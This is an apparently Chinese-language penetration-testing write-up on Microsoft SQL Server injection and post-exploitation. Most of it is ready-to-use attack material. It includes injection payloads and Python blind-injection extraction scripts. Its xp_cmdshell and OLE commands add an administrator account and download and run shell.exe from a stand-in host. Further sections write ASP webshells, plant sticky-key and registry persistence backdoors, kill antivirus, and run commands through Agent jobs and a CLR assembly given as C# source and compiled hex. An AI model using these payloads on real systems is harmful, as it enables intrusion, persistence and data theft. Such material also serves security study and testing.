干貨 | MSSQL注入和漏洞利用姿勢總結
基礎介紹
Microsoft SQL Server 是微軟開發的關系型數據庫管理系統。作為數據庫服務器,它是一種軟件產品,主要功能是根據其他軟件應用程序的請求存儲和檢索數據,這些應用程序可以在同一臺計算機上運行,也可以在網絡(包括 Internet)上的另一臺計算機上運行。SQL Server 默認開放的端口是 TCP 1433。
SQL Server 信息收集
- ? 判斷數據庫類型
/* sysobjects 為 MSSQL 數據庫中獨有的數據表,如果頁面返回正常即可表示為 MSSQL 數據庫 */ ?id=1 and (select count(*) from sysobjects)>0 -- /* 通過 MSSQL 數據庫中特有的延時函數進行判斷 */ ?id=1;WAITFOR DELAY '00:00:10'; --
- ? 查詢數據庫版本信息
1 and 1=(select @@version) --
- ? 判斷當前數據庫用戶名
?id=1 and user>0;--
- ? 獲取當前數據庫名
?id=1 and db_name()>0;--
- ? 判斷字段個數
?id=1 order by 6--
- ? 查詢當前的本地服務名
?id=1 and 1=(select @@servername)--
- ? 判斷是否站庫分離
/* 如果頁面報錯,則站庫分離;回顯正常,則無站庫分離 */ ?id=1 and ((select host_name())=(select @@servername))--
- ? 判斷當前服務器級別角色(Server-level roles)
?id=1 and 1=(select is_srvrolemember('sysadmin'))--
?id=1 and 1=(select is_srvrolemember('serveradmin'))--
?id=1 and 1=(select is_srvrolemember('securityadmin'))--
?id=1 and 1=(select is_srvrolemember('processadmin'))--
?id=1 and 1=(select is_srvrolemember('setupadmin'))--
?id=1 and 1=(select is_srvrolemember('bulkadmin'))--
?id=1 and 1=(select is_srvrolemember('diskadmin'))--
?id=1 and 1=(select is_srvrolemember('dbcreator'))--
?id=1 and 1=(select is_srvrolemember('public'))--
為便于管理數據庫中的權限,SQL Server 提供了若干角色,這些角色是用于對其他主體進行分組的安全主體。它們類似于 Windows 操作系統中的組。SQL Server 2019 和以前的版本提供了 9 個不同級別的服務器級角色以幫助用戶管理服務器上的權限。這些角色是可組合其他主體的安全主體,并且遵循最地特權原則。服務器級角色的權限作用域為服務器范圍。
下表顯示了固定的服務器級角色及其功能。

- ? 判斷當前數據庫級別角色(Database-level roles)
?id=1 and 1=(select IS_ROLEMEMBER('db_owner'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_securityadmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_accessadmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_backupoperator'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_ddladmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_datawriter'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_datareader'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_denydatawriter'))--
數據庫級角色的權限作用域為數據庫范圍,下表顯示了固定數據庫角色及其能夠執行的操作。

SQL Server 注入
報錯注入
MSSQL 數據庫是強類型語言數據庫,當類型不一致時將會報錯,配合子查詢即可實現報錯注入。前提是服務器允許返回報錯信息。
- ? 查詢當前數據庫中的表名
?id=1 and 1=(select top 1 name from sysobjects where xtype='u');--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates'));--
('fsb_accounts', 'fsb_fund_transfers'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages', 'fsb_transactions'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages', 'fsb_transactions', 'fsb_users'));--

- ? 查詢表中的字段名
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts'));-- ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no');-- ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type');-- ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type' and name<>'balance_amount');--

值得一提的是,在 MSSQL 中除了借助sysobjects表和syscolumns表獲取表名、列名外,MSSQL 數據庫中也兼容information_schema,里面存放了數據表表名和字段名。使用方法與 MySQL 相同。
/* 查詢表名可以用 information_schema.tables */?id=1 and 1=(select top 1 table_name from information_schema.tables);--/* 查詢列名可以用 information_schema.columns */?id=1 and 1=(select top 1 column_name from information_schema.columns where table_name='fsb_accounts');--- ? 查詢表中具體的數據
?id=1 and 1=(select top 1 branch from fsb_accounts);--
?id=1 and 1=(select top 1 branch from fsb_accounts where branch<>'Texas-Remington Circle');--
?id=1 and 1=(select top 1 branch from fsb_accounts where branch not in ('Texas-Remington Circle', 'Mahnattan - New york'));--

聯合注入
方法與一般的 SQL 聯合注入相同。值得注意的是,MSSQL 聯合注入一般不使用數字占位,而是 NULL,因為使用數字占位可能會發生隱式轉換。
?id=1 union select NULL, NULL ,NULL, NULL, NULL from fsb_users-- ?id=1 union select NULL, user_name, NULL, NULL, NULL from fsb_users--

布爾盲注
方法與一般的 SQL 布爾盲注相同,使用 ASCII 碼逐個比較字符,將返回為 True 的結果輸出即可。
?id=-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))>97--
下面給出布爾盲注腳本:
import requests
import time
url = 'http://192.168.2.244/index.aspx?user_id='
cookies = { # 如果目標網站要事先登錄,就加上cookies吧
"PHPSESSID":"c8ab8r49nd2kk0qfhs0dcaktl3"
}
flag = ''
for i in range(1,90000):
low = 32
high = 128
mid = (low+high)//2
while(low payload = url + "-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),%d,1))>%d-- " %(i,mid)
res = requests.get(url=payload)
"""
data = {
"user_id": payload
}
res = requests.get(url=url, data=data)
"""
if 'Joe Vilella' in res.text: # 為真時,即判斷正確的時候的條件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
# m
# ma
# mas
# mast
# maste
# master
時間盲注
MSSQL 數據庫中的 WAITFOR 延時存儲過程可以用來時間盲注,當語句執行成功,頁面延時返回即為 True。

?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:2'--
?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:2'--
下面給出時間盲注腳本:
import requests
import json
import time
url = 'http://192.168.2.244/index.aspx?user_id='
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low
payload = url + "1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),%d,1)))>%d WAITFOR DELAY '0:0:2'--" %(i,mid)
times = time.time()
res = requests.get(url=payload)
"""
data = {
"user_id": payload
}
res = requests.get(url=url, data=data)
"""
if time.time() - times >= 2: # 為真時,即判斷正確的時候的條件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
# m
# ma
# mas
# mast
# maste
# master
SQL Server 相關攻擊面
xp_cmdshell
xp_cmdshell 存儲過程可以生成并執行 Windows 命令,任何輸出都作為文本返回。xp_cmdshell 功能非常強大,但是從 MSSQL 2005 版本之后默認處于禁用狀態,可以執行 sp_configure 來啟用或禁用 xp_cmdshell。
xp_cmdshell 的利用條件如下:
- ? 當前用戶具有 DBA 權限
- ? 依賴于 xplog70.dll
- ?
xp_cmdshell存儲過程存在并已啟用
xp_cmdshell 的相關配置方法如下:
/* 判斷當前是否為 DBA 權限,返回 1 則可以提權 */
SELECT IS_SRVROLEMEMBER('sysadmin');
/* 查看是否存在 xp_cmdshell,返回 1 則存在 */
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell'
/* 開啟 xp_cmdshell */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
/* 關閉 xp_cmdshell */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
xp_cmdshell 的相關利用技巧如下:
- ? 一般執行命令
EXEC master.dbo.xp_cmdshell 'whoami' EXEC xp_cmdshell 'whoami'; EXEC xp_cmdshell 'dir c:\' EXEC master..xp_cmdshell 'dir c:\' EXEC master..xp_cmdshell 'ipconfig/all' EXEC master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"' EXEC master..xp_cmdshell 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber' EXEC master..xp_cmdshell 'net user hacker Passw0rd /add',NO_OUTPUT EXEC master..xp_cmdshell 'net localgroup Administrators hacker /add',NO_OUTPUT
- ? 調用 PowerShell 執行腳本
EXEC xp_cmdshell 'powershell -c "iex((new-object Net.WebClient).DownloadString(''http://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1''))"'
- ? 調用 cmd.exe 用 PowerShell 遠程下載 exe 并執行
EXEC master..xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\shell.ps1 & echo $client.DownloadFile("http://evilhost.com/shell.exe","%TEMP%\shell.exe") >> %TEMP%\shell.ps1 & powershell -ExecutionPolicy Bypass %temp%\shell.ps1 & WMIC process call create "%TEMP%\shell.exe""'
- ? 調用 certutil 下載文件
EXEC master.dbo.xp_cmdshell 'cd C:\Users\Public & certutil -urlcache -split -f http://evilhost.com/download/shell.exe';
- ? 調用 bitsadmin 下載文件并寫入系統啟動項
EXEC master.dbo.xp_cmdshell 'bitsadmin /transfer n http://evilhost.com/image/shell.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\shell.exe'
Ole Automation Procedures
SQL Server 支持一組系統存儲過程,這些存儲過程允許在 Transact-SQL 批處理中使用 OLE 自動化對象。默認情況下,SQL Server 會阻止訪問 OLE 自動化存儲過程,因為此組件作為此服務器的安全配置的一部分關閉。系統管理員可以使用 sp_configure 來啟用對 OLE 自動化過程的訪問。
這里我們直接介紹 sp_OACreate 和 sp_OAMethod 這兩個過程,前者可以在 MSSQL 中調用 OLE 對象的實例,后者用來調用 OLE 對象里的方法。
Ole Automation Procedures 的利用條件如下:
- ? 當前用戶具有 DBA 權限
- ? 依賴于 odsole70.dll
- ? Ole Automation Procedures 存在并已啟用
Ole Automation Procedures 的相關配置方法如下:
/* 判斷當前是否為 DBA 權限,返回 1 則可以提權 */
SELECT IS_SRVROLEMEMBER('sysadmin');
/* 查看是否存在 sp_oacreate,返回 1 則存在 */
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='sp_oacreate'
/* 開啟 Ole Automation Procedures */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;
/* 關閉 Ole Automation Procedures */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;
Ole Automation Procedures 的相關利用方法如下:
- ? 調用 Windows Script Host Shell Object 對象執行系統命令
ProgID:WScript.ShellCLSID:{72C24DD5-D70A-438B-8A42-98424B88AFB8}
/* 執行命令并將執行結果寫入文件 */
DECLARE @object INT
EXEC sp_OACreate 'WScript.Shell', @object OUTPUT
-- exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@object output
EXEC sp_OAMethod @object, 'run', NULL, 'C:\Windows\System32\cmd.exe /c whoami >C:\inetpub\wwwroot\result.txt'
/* 執行命令并回顯 */
DECLARE @object INT, @object2 INT, @object3 INT, @str VARCHAR(8000)
EXEC sp_OACreate 'WScript.Shell', @object OUTPUT
EXEC sp_OAMethod @object, 'exec', @object2 OUTPUT, 'C:\Windows\System32\cmd.exe /c whoami'
EXEC sp_OAMethod @object2, 'StdOut', @object3 OUTPUT
EXEC sp_OAMethod @object3, 'readall', @str OUTPUT
SELECT @str;
- ? 調用 Shell Automation Service 對象執行系統命令
ProgID:Shell.ApplicationCLSID:13709620-C279-11CE-A49E-444553540000
DECLARE @object INT EXEC sp_OACreate 'Shell.Application', @object OUTPUT EXEC sp_OAMethod @object, 'ShellExecute', NULL, 'cmd.exe', '/c whoami > C:\inetpub\wwwroot\result.txt','C:\Windows\System32','','1'
- ? 調用 ADODB.Stream 對象寫文件
ProgID:ADODB.StreamCLSID:00000566-0000-0010-8000-00AA006D2EA4
DECLARE @object INT
EXEC Sp_OACreate 'ADODB.Stream', @object OUTPUT
-- EXEC Sp_OACreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@object OUTPUT
EXEC Sp_OASetProperty @object, 'Type', 1
EXEC sp_OASetProperty @object, 'Mode', 3
EXEC sp_OAMethod @object, 'Open', NULL
EXEC sp_OAMethod @object, 'Write', NULL, 0x3C25657865637574652872657175657374282261222929253E
-- <%execute(request("a"))%>
EXEC sp_OAMethod @object, 'SaveToFile', NULL, 'C:\inetpub\wwwroot\shell.asp', 2
EXEC sp_OAMethod @object, 'Close', NULL
EXEC sp_OADestroy @object
- ? 調用 FileSystem Object 對象復制、移動等文件管理
ProgID:Scripting.FileSystemObjectCLSID:0D43FE01-F093-11CF-8940-00A0C9054228
/* 移動文件 */
DECLARE @object INT
EXEC Sp_OACreate 'Scripting.FileSystemObject', @object OUTPUT
-- EXEC sp_oacreate '0D43FE01-F093-11CF-8940-00A0C9054228', @object OUTPUT
EXEC sp_OAMethod @object, 'MoveFile', NULL, 'C:\shell.txt','C:\inetpub\wwwroot\shell.asp'
/* 制作粘滯鍵后門 */
DECLARE @object INT
EXEC Sp_OACreate 'Scripting.FileSystemObject', @object OUTPUT
EXEC sp_OAMethod @object, 'CopyFile', NULL, 'C:\Windows\System32\calc.exe', 'C:\Windows\System32\sethc.exe'
/* 寫文件 */
DECLARE @object INT, @object2 INT
EXEC Sp_OACreate 'Scripting.FileSystemObject', @object OUTPUT
EXEC sp_OAMethod @object,'CreateTextFile', @object2 OUTPUT, 'C:\inetpub\wwwroot\shell.asp', 1
EXEC sp_OAMethod @object2, 'WriteLine', NULL, '<%execute(request("a"))%>'
- ? 調用 XML HTTP Request 對象遠程下載并寫入文件
ProgID:Microsoft.XMLHTTPCLSID:ED8C108E-4349-11D2-91A4-00C04F7969E8
/* 遠程下載文件 */ DECLARE @object INT, @object2 INT, @response varbinary(8000) exec Sp_OACreate 'Microsoft.XMLHTTP', @object OUTPUT -- exec Sp_OACreate 'ED8C108E-4349-11D2-91A4-00C04F7969E8', @object OUTPUT EXEC sp_OAMethod @object, 'Open', NULL, 'GET', 'http://evilhost.com/shell.txt',0 EXEC sp_OAMethod @object, 'Send', NULL EXEC sp_OAGetProperty @object, 'responseBody', @response OUTPUT /* 開始寫入 */ EXEC Sp_OACreate 'ADODB.Stream', @object2 OUTPUT EXEC sp_OASetProperty @object2, 'Type', 1 EXEC sp_OASetProperty @object2, 'Mode', 3 EXEC sp_OAMethod @object2, 'Open', NULL EXEC sp_OAMethod @object2, 'Write', NULL, @response EXEC sp_OAMethod @object2, 'SaveToFile', NULL, 'C:\inetpub\wwwroot\shell.asp', 1
xp_regwrite
xp_regwrite 存儲過程用來寫入注冊表,我們可以通過該過程實現鏡像劫持、寫入啟動項等操作。
xp_regwrite 的利用條件如下:
- ? MSSQL 服務器進程未降權
- ? 依賴于 xpstar.dll
關于 xp_regwrite 的利用方法如下:
- ? 修改注冊表來劫持粘貼鍵(映像劫持),作為持久化的后門
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', @value_name='Debugger', @type='REG_SZ', @value='C:\Windows\System32\cmd.exe'
- ? 寫入 AutoRun 表項,作為持久化的后門
/* 將 CMD.exe 的 AutoRun 注冊表項與軟件可執行路徑 C:\Windows\System32\shell.exe 添加,作為持久化的后門 */ EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Command Processor','Autorun','REG_SZ','C:\Windows\System32\shell.exe'
- ? 寫入 RunOnce 表項,作為持久化的后門
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','Aut3','REG_SZ','C:\Windows\System32\shell.exe'
- ? 禁用指定軟件。攻擊者需要確保殺死反病毒進程以保持不被發現,所以可以設置在某些應用啟動時自動關閉。
/* 此時只要開啟 Everything 就會自動關閉 */ EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Everything.exe','Debugger','REG_SZ','taskkill.exe'
Ad Hoc Distributed Queries & Microsoft OLE DB Provider for Microsoft Jet
沙盒模式(SandBoxMode)是一種安全功能,用于限制數據庫只對控件和字段屬性中的安全且不含惡意代碼的表達式求值。如果表達式不使用可能以某種方式損壞數據的函數或屬性(如 Kill 和 Shell 之類的函數),則可認為它是安全的。當數據庫以沙盒模式運行時,調用這些函數的表達式將會產生錯誤消息。
沙盒提權的原理就是濫用 Ad Hoc Distributed Queries 和 Microsoft.Jet.OLEDB.4.0 執行系統命令。數據庫通過查詢方式調用mdb文件執行參數,通過 Access 數據庫中的 Shell 函數執行命令。
Windows Server 2003 系統 C:\Windows\System32\ias 目錄下默認自帶了 2 個 Access 數據庫文件 ias.mdb 和 dnary.mdb,所以直接調用即可。之后版本的系統需要自行上傳或者用 UNC 路徑加載文件。
相關利用條件如下:
- ? 當前用戶具有 DBA 權限
- ? 服務器為 32 位系統
- ? MSSQL 服務器進程未降權
- ? 沙盒模式已禁用
- ? Ad Hoc Distributed Queries 已啟用
- ? 服務器擁有 Microsoft.Jet.OLEDB.4.0 驅動
筆者的測試環境為 Windows Server 2008 x86 + SQL Server 2005,相關配置如下:
/* 修改注冊表,禁用沙盒模式 */ EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 /* 開啟 Ad Hoc Distributed Queries */ EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ad Hoc Distributed Queries', 1;RECONFIGURE
相關利用方法如下:
- ? 通過 Microsoft.Jet.OLEDB.4.0 執行系統命令
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\Windows\System32\ias\ias.mdb',
'select shell("C:\Windows\System32\cmd.exe /c whoami > C:\inetpub\wwwroot\result.txt")');
SQL Server Agent Job
SQL Server 代理(SQL Server Agent)是一項 Microsoft Windows 服務,它執行計劃的管理任務,這些任務在 SQL Server 中稱為作業。SQL Server 代理可以按照計劃運行作業,也可以在響應特定事件時運行作業,還可以根據需要運行作業。
SQL Server Agent Job 的利用條件如下:
- ? 當前用戶具有 DBA 權限
- ? SQL Server Agent 服務已啟用(Express 版本 SQL Server 是無法啟用的)
- ? MSSQL 服務器進程未降權
Ole Automation Procedures 的相關配置方法如下:
/* 開啟 SQL Server Agent 服務 */ EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
啟動后將以 NT SERVICE\SQLSERVERAGENT 帳戶權限運行 sqlagent.exe 進程,該進程執行后續的系統命令。
SQL Server Agent Job 的相關利用方法如下:
- ? 創建計劃任務執行命令并將結果寫入文件
USE msdb; EXEC sp_add_job 'JobName' EXEC sp_add_jobstep null,'JobName',null,'1','cmdexec','cmd.exe /c "whoami > C:\inetpub\wwwroot\result.txt"' EXEC sp_add_jobserver null,'JobName',@@servername exec sp_start_job 'JobName';
Common Language Runtime (CLR)
從 2005 SQL Server 2005 (9.x) 開始,SQL Server 功能集成了 Microsoft Windows .NET Framework(CLR)組件的公共語言運行時。這意味著您現在可以使用任意 .NET Framework 語言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)編寫存儲過程、觸發器、用戶定義類型、用戶定義函數、用戶定義聚合函數以及流處理表值函數。
MSSQL CLR 的利用條件如下:
- ? 當前用戶具有 DBA 權限
- ? CLR 已啟用
CLR 的相關配置方法如下:
/* 開啟 CLR 服務 */ EXEC sp_configure 'show advanced options',1;RECONFIGURE; EXEC sp_configure 'clr enabled',1;RECONFIGURE; ALTER DATABASE master SET TRUSTWORTHY ON;
下面通過 Visual Studio 手動創建存儲過程來執行系統命令。
- ? 創建 SQL Server 數據庫項目

- ? 選擇 “目標平臺” 并勾選 “創建腳本”

- ? 選擇 “目標框架”,并設置 “權限級別” 為 “UNSAFE”
在 SQL Server 2005 后引入了從 MSSQL 運行 .NET 代碼的功能,并在后續版本中疊加了許多保護措施,來限制代碼可以訪問的內容。其權限集有三個選項:
- 1. SAFE:基本上只將MSSQL數據集暴露給代碼,其他大部分操作則都被禁止
- 2. EXTERNAL_ACCESS:允許訪問底層服務器上某些資源,但不應該允許直接執行代碼
- 3. UNSAFE:允許執行任何代碼

- ? 選擇 “項目” —> “添加新項”,創建 SQL CLR C# 存儲過程


- ? 寫入以下代碼
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void ExecCommand(string cmd)
{
SqlContext.Pipe.Send("Command is running, please wait.");
SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
}
public static string RunCommand(string filename, string arguments)
{
var process = new Process();
process.StartInfo.FileName = filename;
if (!string.IsNullOrEmpty(arguments))
{
process.StartInfo.Arguments = arguments;
}
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.RedirectStandardOutput = true;
var stdOutput = new StringBuilder();
process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
string stdError = null;
try
{
process.Start();
process.BeginOutputReadLine();
stdError = process.StandardError.ReadToEnd();
process.WaitForExit();
}
catch (Exception e)
{
SqlContext.Pipe.Send(e.Message);
}
if (process.ExitCode == 0)
{
SqlContext.Pipe.Send(stdOutput.ToString());
}
else
{
var message = new StringBuilder();
if (!string.IsNullOrEmpty(stdError))
{
message.AppendLine(stdError);
}
if (stdOutput.Length != 0)
{
message.AppendLine("Std output:");
message.AppendLine(stdOutput.ToString());
}
SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
}
return stdOutput.ToString();
}
}
后編譯并生成 DLL,與此同時將生產一個 .sql 文件,里面包含了我們后續操作的 SQL 語句:

- ? 先后創建程序集和存儲過程,并調用
/* 通過 SQL 語句導入程序集 MssqlClr */ CREATE ASSEMBLY [MssqlClr] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006D8463630000000000000000E00022200B013000000E000000060000000000004E2C0000002000000040000000000010002000000002000004000000000000000600000000000000008000000002000000000000030060850000100000100000000010000010000000000000100000000000000000000000FC2B00004F00000000400000A802000000000000000000000000000000000000006000000C000000C42A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000540C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000302C00000000000048000000020005007C220000480800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B003000023537472696E677300000000C4060000B4000000235553007807000010000000234755494400000088070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000CC0101000000000006006601B80206008601B80206003C01A5020F00D802000006003A03D9010A0050014F020E001303A5020600E001D90106002102780306002101B8020E00F802A5020A0084034F020A0019014F020600BA01D9010E00F801A5020E00C800A5020E003602A50206000902360006001602360006002700D901000000002D00000000000100010001001000E7020000150001000100030110000100000015000100040006006E037900502000000000960083007D00010084200000000096008F001A0002005C220000000086189F02060004005C220000000086189F0206000400652200000000830016008200040000000100750000000100E800000002002903000001002F02000002000E0309009F02010011009F02060019009F020A0031009F02060051009F02060061001001100069009A001500710033031A0039009F0206003900EA0132007900DB0015007100A203370079001B03150079008F033C007900B80041007900A4013C00790085023C00790053033C0049009F02060089009F02470039005E004D0039004D0353003900F1000600390073025700990079005C003900410306004100AC005C0039009F0060002900B8015C004900050164004900C1016000A100B8015C00710033036A0029009F02060059004C005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000006A020000040000000000000000000000700055000000000004000000000000000000000070004000000000000400000000000000000000007000D90100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468004D7373716C436C722E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572004D7373716C436C72006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D70747900004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000000A7C6FCDEFB8D2B4C9805427776B771E2000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006D84636300000000020000001C010000E02A0000E00C00005253445321C0E93DFC8FA04884BA530C6C460CFC01000000433A5C55736572735C77686F616D695C736F757263655C7265706F735C4D7373716C436C725C4D7373716C436C725C6F626A5C44656275675C4D7373716C436C722E7064620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000242C000000000000000000003E2C0000002000000000000000000000000000000000000000000000302C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF2500200010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000